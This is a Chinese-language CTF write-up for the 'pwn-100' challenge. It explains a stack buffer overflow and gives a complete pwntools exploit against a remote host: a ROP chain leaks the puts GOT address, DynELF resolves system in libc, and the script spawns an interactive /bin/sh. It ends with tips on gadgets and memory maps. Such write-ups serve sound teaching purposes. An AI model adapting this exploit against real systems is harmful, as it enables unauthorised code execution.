此题重点为DynELF函数的使用。在函数 sub_40068E()中声明了一个大小为0x40的缓冲区,然后通过函数sub_40063D((__int64)&v1, 0xC8u);读取标准输入内容到该缓冲区,读入的长度为0xC8,大于缓冲区大小0x40,存在溢出漏洞。可以通过溢出后覆盖函数的返回地址:1.输出got表的函数地址;2.向可写段地址写入字符串"/bin/sh"。
然后利用DynELF函数找到libc中system函数的地址并加以使用。
exp:
from pwn import *
p=remote('111.198.29.45','43508')
elf=ELF('./pwn-100')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
print "puts_plt:"+hex(puts_plt)
print "puts_got:"+hex(puts_got)
pop_rdi=0x0000000000400763
bin_sh=0x601ff0
pop_rsi_r15=0x0000000000400761
lens=200
payload='0'*
(0x8+64)+p64(pop_rdi)+p64(puts_got)+p64(0x0000000000400500)
+p64(pop_rdi)+p64(bin_sh)+p64(pop_rsi_r15)+p64(0x8)+p64(0x0)
+p64(0x40063D)+p64(0x0000000000400550)
payload=payload+'0'*(200-len(payload))
print payload
p.send(payload)
sleep(1)
p.send('/bin/sh'+'\0')
print p.recvuntil('bye~')
recv_addr=p.recv()[1:-1].ljust(8,'\0')
puts_addr=u64(recv_addr)
print hex(puts_addr)
def leak(addr):
payload='0'* (0x8+64)+p64(pop_rdi)+p64(addr)
+p64(0x0000000000400500)+p64(0x0000000000400550)
payload=payload+'0'*(200-len(payload))
p.send(payload)
p.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)
payload='0'*(0x8+64)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
+p64(0x0000000000400550)
payload=payload+'0'*(200-len(payload))
p.send(payload)
print p.recvuntil('bye~')
print p.recv()
p.interactive()
技巧:
1.Dyn函数的格式:
声明 def leak(addr):,固定格式,函数名和下面的d=DynELF(leak,elf=elf)中一致。addr不用初始化。
函数中需准备泄露got表地址的payload,即能够接受返回的地址(数值格式),然后取前四个字节做返回值。
DynELF函数lookup(func_name,'libc')会自动查找system在libc中的的地址。
2.可写地址的确定:
gdb运行程序中断后,vmmap查看各段;
3.pop_rdi;ret 的地址:
python ROPgadget.py --binary "elfname" |grep "rdi"
4.返回地址要使用start,而不是main;
问题:libc.blukat.me中寻找到的地址与DynELF找到的不一样,不能使用。